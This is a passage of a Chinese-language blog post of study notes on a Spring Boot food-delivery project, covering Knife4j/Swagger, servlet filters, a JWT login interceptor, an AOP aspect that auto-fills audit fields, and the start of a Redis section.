src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=MWZjY2JjMTg4MmVkNzAyMGY2NzU4OGIyYzU3NGQ1ZTBfMXBZVXo1QkRQckE5bUdTckJuMDBYMGczc24yU3NSclVfVG9rZW46SGRRWWJ0OG91b0lkZ0F4bUw3N2NWYk5ubkpjXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>2.生成JWT令牌</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=MDkyOWY1YzdkNDBjZGIyMWE4ZmQ0Mjc0NTc1OGI1MmZfdnhPc3pvVG9hWXJnczB0WmRXc3BYWEVlUWNBN3MydWlfVG9rZW46WExDWGJhd2x6b0NQdkF4S2lQTGNlYzVBbkVnXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>3.校验JWT令牌</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=NmMzNWNhMzI0MzE2YzRmOTM5NjY5NWZmNGFkNGFjNDRfTUxaQldFd1hLMGlSalMxNmI2VDVSUUJhWmNlQ1Z2ckZfVG9rZW46R1NjRmJodTlwb2tNQXR4YWdUcGNKaENwbk1jXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>4.注意事项</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=MTE2NTc5OWM1NjkwODlmNWRlNTBlMDM0MmJlODQ4ZjRfR0h6dkZGcDRMaVZGSTNRbG5VS09neDg5TG91bGRmUnNfVG9rZW46UnZPQmJ0M21wb25TbDZ4QnBzVmNSWFV2bjlmXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h2 id="Swagger"><a href="#Swagger" class="headerlink" title="Swagger"></a>Swagger</h2><h3 id="1-Swagger-能做什么？"><a href="#1-Swagger-能做什么？" class="headerlink" title="1 Swagger 能做什么？"></a><strong>1 Swagger 能做什么？</strong></h3><p>Swagger 是一个用于 生成和管理 RESTful API 文档 的开源工具。它的核心理念是”代码即文档”——通过在代码中添加注解，自动生成在线的、可交互的 API 文档页面。</p><ol><li>自动生成接口文档 ：扫描 Controller 类，自动生成接口列表</li><li>在线测试接口 ：提供 Web UI，可以直接在浏览器里测试 API（类似 Postman）</li><li>参数说明 ：标注每个接口的参数类型、是否必填、返回值结构</li><li>团队协作 ：前后端开发者可以基于统一的文档进行协作开发</li></ol><h3 id="2-什么是Knife4j"><a href="#2-什么是Knife4j" class="headerlink" title="2 什么是Knife4j"></a><strong>2 什么是Knife4j</strong></h3><p>本项目使用的是 Knife4j 3.0.2 ，它是 Swagger 2 的增强 UI 工具，提供了更美观、更强大的接口文档界面。</p><p>原因 ：</p><ol><li>双端业务 ：苍穹外卖同时有 C端（微信小程序）和 B端（管理后台），两套接口需要清晰的文档</li><li>团队协作 ：前端开发人员可以直接通过文档页面了解后端接口，无需反复沟通</li><li>快速调试 ：开发过程中可以直接在文档页面测试接口，不需要额外的 Postman</li></ol><h3 id="3-怎么使用Knife4j"><a href="#3-怎么使用Knife4j" class="headerlink" title="3 怎么使用Knife4j"></a><strong>3 怎么使用Knife4j</strong></h3><p><strong>3.1 配置依赖</strong></p><p>(1)在父 pom.xml 中统一管理版本：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;knife4j&gt;3.0.2&lt;/knife4j&gt;</span><br></pre></td></tr></table></figure><p>(2)在 sky-server 模块中引入依赖：</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=ZDJkYWQyZmM3MDg1Mzg2OTQ3MGRjNTZmNWIwZjBlMTVfWml3VW1UcUhxQmdtdGNUekxONXFFNFVtc094T2taT01fVG9rZW46RUZGWWJRN1AzbzkyWE94dGV5Y2NXbE1LbndnXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p><strong>3.2 在配置类中加入knife4j相关配置</strong></p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=MzdiOGY2ZDQ1YzQ4MzI2ODhkNDdiM2MyM2ViNDNhZmNfeWRXUzZ2YzJFdHhOUDVmQXUyVTRGckYxNHdFWHhsNVNfVG9rZW46UnZFVGI4cU9jb24zSU94ckI4N2M4R0pCbnJiXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>关键设计 ：项目创建了 两个 Docket ，分别对应 C端和 B端接口，这样在文档页面可以通过下拉框切换查看不同客户端的接口。</p><p><strong>3.3 设置静态资源映射</strong></p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=N2NiZGQ5YTlkZDgwZmQ2NGNlYWRiMzc0MzYyMTI3MDFfUjVZWmJhRkxMa09zbzhTalN6SmdGUWtoaG14c3pPdklfVG9rZW46S3NreGJpZWx0bzI1SzN4TVVtdGNFVmF4bkRkXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>这一步是为了让 Knife4j 的前端页面能正常访问（访问地址： <a href="http://localhost:8080/doc.html">http://localhost:8080/doc.html</a> ）。</p><p><strong>3.4 Swagger常用注解</strong></p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=YjMxNzgwM2E0NTNmZGEzZDA5MWYwMDdkNDIyOTcxZTBfZmJzWkVycWMxSEgwbTBDd0RDOTdwM21xbnlDRlFaQ3pfVG9rZW46RjdIV2JoSEZvb3NwVjV4TDBmRWNkQThVbldmXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p><strong>3.5 访问Swagger文档</strong></p><p>启动项目后，访问： <a href="http://localhost:端口/doc.html">http://localhost:端口/doc.html</a></p><p>文档页面会显示两个分组：</p><ul><li>管理端接口 ： &#x2F;admin&#x2F;** 路径下的所有接口</li><li>用户端接口 ： &#x2F;user&#x2F;** 路径下的所有接口</li></ul><p>每个接口都会展示：</p><ul><li>请求方法（GET&#x2F;POST&#x2F;PUT&#x2F;DELETE）</li><li>请求路径</li><li>参数列表（类型、是否必填）</li><li>返回值结构</li><li>可点击”调试”按钮直接测试接口</li></ul><h2 id="过滤器Filtter"><a href="#过滤器Filtter" class="headerlink" title="过滤器Filtter"></a>过滤器Filtter</h2><h3 id="1-什么是过滤器Filter？"><a href="#1-什么是过滤器Filter？" class="headerlink" title="1 什么是过滤器Filter？"></a>1 什么是过滤器Filter？</h3><p>过滤器Filter，是 JavaWeb 三大组件（Servlet、Filter、Listener）之一，过滤器可以把对资源的请求拦截下来，从而实现一些特殊的功能，过滤器一般完成一些通用的操作，比如：登录校验、统一编码处理等。</p><h3 id="2-如何使用过滤器Filter？"><a href="#2-如何使用过滤器Filter？" class="headerlink" title="2 如何使用过滤器Filter？"></a>2 如何使用过滤器Filter？</h3><p>1.定义Filter</p><p>定义一个类，实现 Filter接口，并重写其所有方法</p><p>2.配置Filter</p><p>Filter类上加 @WebFilter 注解，配置拦截资源的路径。</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=YzlhYzgzOGNlM2Y5Yzc5ZTU1ODgyZTRkODFkY2M0ZThfWERxUVhPbUxPUld5dVVzSHNhUkxldElvdVVjUmNkTzNfVG9rZW46VHVKNWJhbFJzb3VrOEd4SGtMc2NFU0tRbjdjXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>在 Filter类上加 @WebFilter 注解后，还需要在启动类上也加上一个注解，@ServletComponentScan，因为 Filter 是 JavaWeb 三大组件之一，并不是 spring boot 当中提供的，而如果想要在 spring boot 项目中使用 JavaWeb 三大组件就必须要在启动类上加上@ServletComponentScan 注解，加上该注解后就表示当前项目是支持 Servlet 相关组件的。</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=ODAxYzA4NzYwNjdjNGMxZWQ4NzRiZjQzNWFjMTNmMzhfWm9xZlNrN3Fvc0F3dTZOSUVwZE1tcWtJcWM1QjFmWTVfVG9rZW46SlVVS2JMaWdLb2tQMFh4M0taZWMyNUZzbkRlXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h3 id="3-过滤器Filter执行流程"><a href="#3-过滤器Filter执行流程" class="headerlink" title="3 过滤器Filter执行流程"></a>3 过滤器Filter执行流程</h3><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=N2M2ODQwZTJhODUwYzE5MDRlNWI1MGI2YjEyMGQzNmRfSGxrdGl6c1doUmVmU0RjeDhMOEdrTXJFcmlpWDRuSzZfVG9rZW46QjZGZWIxSU5pbzZLQ0t4OUN4eWNCM3Babk1lXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h3 id="4-过滤器Filter拦截路径"><a href="#4-过滤器Filter拦截路径" class="headerlink" title="4 过滤器Filter拦截路径"></a>4 过滤器Filter拦截路径</h3><p>过滤器Filter 可以根据需求，配置不同的拦截资源路径，上面我们配置过滤器Filter 时，拦截的是 ”&#x2F;*“ ，也可以自己配置自己所需的。常见的配置方式有如下三种：</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=YzkyODgxN2Q5ODA3ZGZjZjY5ZWRkOGM1MDAyOTI0NDlfdkpWYjBVQnVvcE50cmVUYngzazhKT2Z0VGttRlVXeGtfVG9rZW46SHhEa2JEQlZub3hrbjh4TkRqV2N4dWVFbnNoXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h2 id="拦截器Interceptor"><a href="#拦截器Interceptor" class="headerlink" title="拦截器Interceptor"></a>拦截器Interceptor</h2><h3 id="1-Fillter和Interceptor的区别"><a href="#1-Fillter和Interceptor的区别" class="headerlink" title="1 Fillter和Interceptor的区别"></a>1 Fillter和Interceptor的区别</h3><p>Filtter所属框架是Java Servlet 规范下的，而Interceptor是Spring MVC框架下的。两者功能相似但是机制不同，对比如下:</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=ZTFlODI0YTQzNGY0YTczMGNlNzgxMTBkYTY1MmJjYWNfSXZpbkZCV1pxcVVkNFpVejZHU25KR3BoT0FXcnR2T1dfVG9rZW46RWE1dGJJRThnb2FuN3N4ckpiZ2NnMkNQbjViXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>在本项目中，使用Interceptor用于拦截用户端、管理端的大多数请求，校验登录状态，防止权限绕过。</p><p>本项目用 Interceptor 已足够，但果需要在请求到达 Spring 之前就处理，或者拦截静态资源就需要使用过滤器Fillter。</p><h3 id="2-如何使用拦截器Interceptor"><a href="#2-如何使用拦截器Interceptor" class="headerlink" title="2 如何使用拦截器Interceptor"></a>2 如何使用拦截器Interceptor</h3><h4 id="1-定义Interceptor"><a href="#1-定义Interceptor" class="headerlink" title="1 定义Interceptor"></a>1 定义Interceptor</h4><p>定义一个类，实现 Interceptor接口，并重写其所有方法</p><p>以 JwtTokenUserInterceptor.java 为例：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JwtTokenUserInterceptor</span> <span class="keyword">implements</span> <span class="title class_">HandlerInterceptor</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> JwtProperties jwtProperties;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">preHandle</span><span class="params">(HttpServletRequest request, HttpServletResponse response, Object handler)</span> &#123;</span><br><span class="line">        <span class="comment">// ① 判断是不是 Controller 方法</span></span><br><span class="line">        <span class="keyword">if</span> (!(handler <span class="keyword">instanceof</span> HandlerMethod)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;  <span class="comment">// 不是 Controller 方法，直接放行</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ② 从请求头获取 token</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">token</span> <span class="operator">=</span> request.getHeader(jwtProperties.getUserTokenName());</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// ③ 解析校验 JWT</span></span><br><span class="line">            <span class="type">Claims</span> <span class="variable">claims</span> <span class="operator">=</span> JwtUtil.parseJWT(jwtProperties.getUserSecretKey(), token);</span><br><span class="line">            <span class="type">Long</span> <span class="variable">userId</span> <span class="operator">=</span> Long.valueOf(claims.get(JwtClaimsConstant.USER_ID).toString());</span><br><span class="line">            <span class="comment">// ④ 把用户 id 存入 ThreadLocal，Service 层可以直接取</span></span><br><span class="line">            BaseContext.setCurrentId(userId);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;  <span class="comment">// 放行</span></span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception ex) &#123;</span><br><span class="line">            <span class="comment">// ⑤ 校验失败，返回 401</span></span><br><span class="line">            response.setStatus(<span class="number">401</span>);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>; <span class="comment">// 拦截，请求到此为止</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-注册拦截器"><a href="#2-注册拦截器" class="headerlink" title="2 注册拦截器"></a>2 注册拦截器</h4><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">protected</span> <span class="built_in">void</span> <span class="title function_">addInterceptors</span>(<span class="params"><span class="title class_">InterceptorRegistry</span> registry</span>) &#123;</span><br><span class="line">    <span class="comment">// 管理端 JWT 拦截器</span></span><br><span class="line">    registry.<span class="title function_">addInterceptor</span>(jwtTokenAdminInterceptor)</span><br><span class="line">            .<span class="title function_">addPathPatterns</span>(<span class="string">&quot;/admin/**&quot;</span>)              <span class="comment">// 拦截所有 /admin/** 的请求</span></span><br><span class="line">            .<span class="title function_">excludePathPatterns</span>(<span class="string">&quot;/admin/employee/login&quot;</span>); <span class="comment">// 但登录接口不拦截</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 用户端 JWT 拦截器</span></span><br><span class="line">    registry.<span class="title function_">addInterceptor</span>(jwtTokenUserInterceptor)</span><br><span class="line">            .<span class="title function_">addPathPatterns</span>(<span class="string">&quot;/user/**&quot;</span>)               <span class="comment">// 拦截所有 /user/** 的请求</span></span><br><span class="line">            .<span class="title function_">excludePathPatterns</span>(<span class="string">&quot;/user/user/login&quot;</span>)    <span class="comment">// 登录接口不拦截</span></span><br><span class="line">            .<span class="title function_">excludePathPatterns</span>(<span class="string">&quot;user/shop/status&quot;</span>);   <span class="comment">// 店铺状态查询不拦截</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="AOP"><a href="#AOP" class="headerlink" title="AOP"></a>AOP</h2><p>AOP 是一种”横切”编程思想，把分散在多个模块的通用逻辑（日志、事务、权限、公共字段填充）统一抽离到切面中。本项目菜品管理功能通过 AutoFillAspect 切面 + @AutoFill 自定义注解，在 Mapper 方法执行前自动填充 createTime 、 createUser 、 updateTime 、 updateUser 四个公共字段，消除了 Service 层的大量重复代码，实现了真正的 关注点分离 ——业务代码只管业务，通用的填充逻辑交给 AOP。</p><h3 id="1-什么是AOP"><a href="#1-什么是AOP" class="headerlink" title="1 什么是AOP"></a>1 什么是AOP</h3><p>AOP（Aspect-Oriented Programming，面向切面编程）是一种编程范式，用于在不改变原有代码的情况下，通过“切面”（Aspect）来增强或修改程序的行为。它通过将横切关注点（如日志记录、安全性、事务管理等）从核心业务逻辑中分离出来，减少代码的重复性，提高代码的可维护性。</p><h3 id="2-AOP的核心概念"><a href="#2-AOP的核心概念" class="headerlink" title="2 AOP的核心概念"></a>2 AOP的核心概念</h3><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=YzA0ZmUxMGVlN2IzNDhhZmM3ZWU1NzE3ZTg1YTk1OWNfSjBCcEtNNm1XSkNRZkZLVkhIZEpVQ25RRFpDcHhFWWRfVG9rZW46QkgyNmI3WXNwb2thQzR4blZCdGNydHFzblFkXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h3 id="3-如何使用AOP"><a href="#3-如何使用AOP" class="headerlink" title="3 如何使用AOP"></a>3 如何使用AOP</h3><p>在本项目中，有许多业务表都有几个公共字段，比如员工表和分类表，这两张表中，都包含了这四个字段，如下图所示：</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=NjI3ZmJlMzA5MGE0MzU5OGVhNGMzMzk5NWM1MTBjNTlfdGlORjNUWk1Uc2U1NjZnNFZvdWxnUWFZNU1Gc0ppamRfVG9rZW46VWNCMWJ2Z3lRb2VscXF4MWVUbWNodU9sbnNsXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>当我们向这些表中插入数据的时候，就需要为这些字段来赋值，如果每一个业务都要这么去赋值的话，代码就会冗余，而且不方便我们后期去维护，如何解决这些问题呢？首先需要明确一下这些字段分别是在什么时候去操作的，如下表所示：其中insert：插入操作，update：更新操作</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=MmQ3ZjkwZDQ0YWMwNmY5MmNmODQ2M2VmZjg1MDU4NTdfWWdselpYNGVPaUlhTGZEYlB0VXdFbVNHMUxwZjh5Y3ZfVG9rZW46Wmt0SmJnRnlYbzF5YmN4ZXpFWmNnT1dtbnJjXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><p>整体的思路就是通过 AOP切面来统一处理，比如说要调用持久层的某个 Mapper，来进行一个 insert操作，这个时候就可以通过切面来统一拦截 Mapper这一层，来为我们的这几个公共字段进行赋值。这个时候又存在一个问题，这个持久层中并不是每个方法都需要去拦截然后赋值，比如进行一个查询方法，显然是不需要上面这几个公共字段的，这时候就需要有一种手段，能够知道当前这个持久层的操作需不需要来为这几个公共字段进行赋值。这种手段就是——<strong>定义注解</strong>。为 Mapper 的方法来加入注解，<strong>加入注解就表示当前方法需要被拦截</strong>，需要为这几个公共字段进行赋值，如果没有加注解，就不需要处理。具体方法如下：</p><p><strong>1</strong>.自定义注解 AutoFill，用于标识需要进行公共字段自动填充的方法</p><p><strong>2</strong>.自定义切面类 AutoFillAspect，统一拦截加入了 AutoFill注解的方法，通过反射为公共字段赋值</p><p><strong>3</strong>.在 Mapper 的方法上加入 AutoFill注解</p><h4 id="3-1-自定义注解"><a href="#3-1-自定义注解" class="headerlink" title="3.1 自定义注解"></a>3.1 自定义注解</h4><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=YjliODYwY2VmY2JlMDU5ZDZhNzZmMTQ3MDg0YjA3ZmJfYm53QzBpUFloMUVibWpZNU1CUVVuVU5QT2VLZ2JjU2RfVG9rZW46RGptWWIxVVFQb3B5aWV4bWpkbGNWYkd4bnFiXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Target(ElementType.METHOD)</span>   <span class="comment">// 作用在方法上</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span>  <span class="comment">// 运行时保留</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> AutoFill &#123;</span><br><span class="line">    OperationType <span class="title function_">value</span><span class="params">()</span>;     <span class="comment">// INSERT 或 UPDATE</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="3-2-编写切面"><a href="#3-2-编写切面" class="headerlink" title="3.2 编写切面"></a>3.2 编写切面</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Aspect</span>       <span class="comment">// ① 声明这是一个切面</span></span><br><span class="line"><span class="meta">@Component</span>    <span class="comment">// ② 交给 Spring 管理</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AutoFillAspect</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ③ 定义切入点：拦截 mapper 包下所有带 @AutoFill 注解的方法</span></span><br><span class="line">    <span class="meta">@Pointcut(&quot;execution(* com.sky.mapper.*.*(..)) &amp;&amp; @annotation(com.sky.annotation.AutoFill)&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">autoFillPointCut</span><span class="params">()</span> &#123;&#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ④ 前置通知：在目标方法执行前运行</span></span><br><span class="line">    <span class="meta">@Before(&quot;autoFillPointCut()&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">autoFill</span><span class="params">(JoinPoint joinPoint)</span> &#123;</span><br><span class="line">        <span class="comment">// 获取方法上的 @AutoFill 注解，知道是 INSERT 还是 UPDATE</span></span><br><span class="line">        <span class="type">MethodSignature</span> <span class="variable">signature</span> <span class="operator">=</span> (MethodSignature) joinPoint.getSignature();</span><br><span class="line">        <span class="type">AutoFill</span> <span class="variable">autoFill</span> <span class="operator">=</span> signature.getMethod().getAnnotation(AutoFill.class);</span><br><span class="line">        <span class="type">OperationType</span> <span class="variable">operationType</span> <span class="operator">=</span> autoFill.value();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 获取方法参数（实体对象）</span></span><br><span class="line">        Object[] args = joinPoint.getArgs();</span><br><span class="line">        <span class="type">Object</span> <span class="variable">entity</span> <span class="operator">=</span> args[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line">        <span class="type">LocalDateTime</span> <span class="variable">now</span> <span class="operator">=</span> LocalDateTime.now();</span><br><span class="line">        <span class="type">Long</span> <span class="variable">currentId</span> <span class="operator">=</span> BaseContext.getCurrentId();</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (operationType == OperationType.INSERT) &#123;</span><br><span class="line">            <span class="comment">// 通过反射调用 setCreateTime、setCreateUser、setUpdateTime、setUpdateUser</span></span><br><span class="line">            entity.getClass().getDeclaredMethod(<span class="string">&quot;setCreateTime&quot;</span>, LocalDateTime.class).invoke(entity, now);</span><br><span class="line">            entity.getClass().getDeclaredMethod(<span class="string">&quot;setCreateUser&quot;</span>, Long.class).invoke(entity, currentId);</span><br><span class="line">            entity.getClass().getDeclaredMethod(<span class="string">&quot;setUpdateTime&quot;</span>, LocalDateTime.class).invoke(entity, now);</span><br><span class="line">            entity.getClass().getDeclaredMethod(<span class="string">&quot;setUpdateUser&quot;</span>, Long.class).invoke(entity, currentId);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (operationType == OperationType.UPDATE) &#123;</span><br><span class="line">            <span class="comment">// 只填充 updateTime 和 updateUser</span></span><br><span class="line">            entity.getClass().getDeclaredMethod(<span class="string">&quot;setUpdateTime&quot;</span>, LocalDateTime.class).invoke(entity, now);</span><br><span class="line">            entity.getClass().getDeclaredMethod(<span class="string">&quot;setUpdateUser&quot;</span>, Long.class).invoke(entity, currentId);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="3-3-在Mapper方法上打注解"><a href="#3-3-在Mapper方法上打注解" class="headerlink" title="3.3 在Mapper方法上打注解"></a>3.3 在Mapper方法上打注解</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@AutoFill(value = OperationType.INSERT)</span></span><br><span class="line"><span class="meta">@Insert(&quot;insert into category(...)&quot;)</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">insert</span><span class="params">(Category category)</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">@AutoFill(value = OperationType.UPDATE)</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">update</span><span class="params">(Category category)</span>;</span><br></pre></td></tr></table></figure><h2 id="Redis"><a href="#Redis" class="headerlink" title="Redis"></a>Redis</h2><h3 id="1-什么是Redis"><a href="#1-什么是Redis" class="headerlink" title="1 什么是Redis"></a>1 什么是Redis</h3><p>Redis是一个<strong>基于内存</strong>的 <strong>key-value 结构数据库</strong>。</p><p>由于 Redis 是基于内存存储的，所以读写性能相对于 MySQL 会更高。Redis 一般适合存储一些热点数据，是对 MySQL 的一个补充，Redis 用来存储热点数据来提高读取性能，而 MySQL 则用来存储绝大部分的业务数据。</p><h3 id="2-Redis操作对象"><a href="#2-Redis操作对象" class="headerlink" title="2 Redis操作对象"></a>2 Redis操作对象</h3><p>字符串 string：普通字符串，Redis 中最简单的数据类型</p><p>哈希 hash：也叫散列，类似于Java中的 HashMap 结构</p><p>列表 list：按照插入顺序排序，可以有重复元素，类似于Java中的 LinkedList</p><p>集合 set：无序集合，没有重复元素，类似于 Java 中的 HashSet</p><p>有序集合 sorted set &#x2F; zset：集合中每个元素关联一个分数（score），根据分数升序排序，没有重复元素</p><p>各种数据类型的特点：</p><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=MmU1NjE3MjAzM2NjZDFlZTY2NWVlNTZmOGI4NDRlY2RfNENKRjF1eDdORU9yekpaRFU4UVRVS2RSVU0zNjhYcU5fVG9rZW46UU5rbGI4aEl6b2NPaXJ4RGsyYmNadHVBbnNjXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h3 id="3-怎么使用Redis"><a href="#3-怎么使用Redis" class="headerlink" title="3 怎么使用Redis"></a>3 怎么使用Redis</h3><h4 id="3-1-导入Spring-Data-Redis的maven坐标"><a href="#3-1-导入Spring-Data-Redis的maven坐标" class="headerlink" title="3.1 导入Spring Data Redis的maven坐标"></a>3.1 导入Spring Data Redis的maven坐标</h4><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=MWQ2ZTkwOTY1MWY4NmI2ZmZhM2I2NzY5YjBiNDM0YWRfdGRYeXNjcGxwMjBKcXVDS2NpOHB2eFlhS2MyV0NKbE9fVG9rZW46SVUzeGJTTUJob2VsVzh4T0R0a2NLZ21vbmFnXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h4 id="3-2-配置Redis数据源"><a href="#3-2-配置Redis数据源" class="headerlink" title="3.2 配置Redis数据源"></a>3.2 配置Redis数据源</h4><h3 id="连接配置"><a href="#连接配置" class="headerlink" title="连接配置"></a>连接配置</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 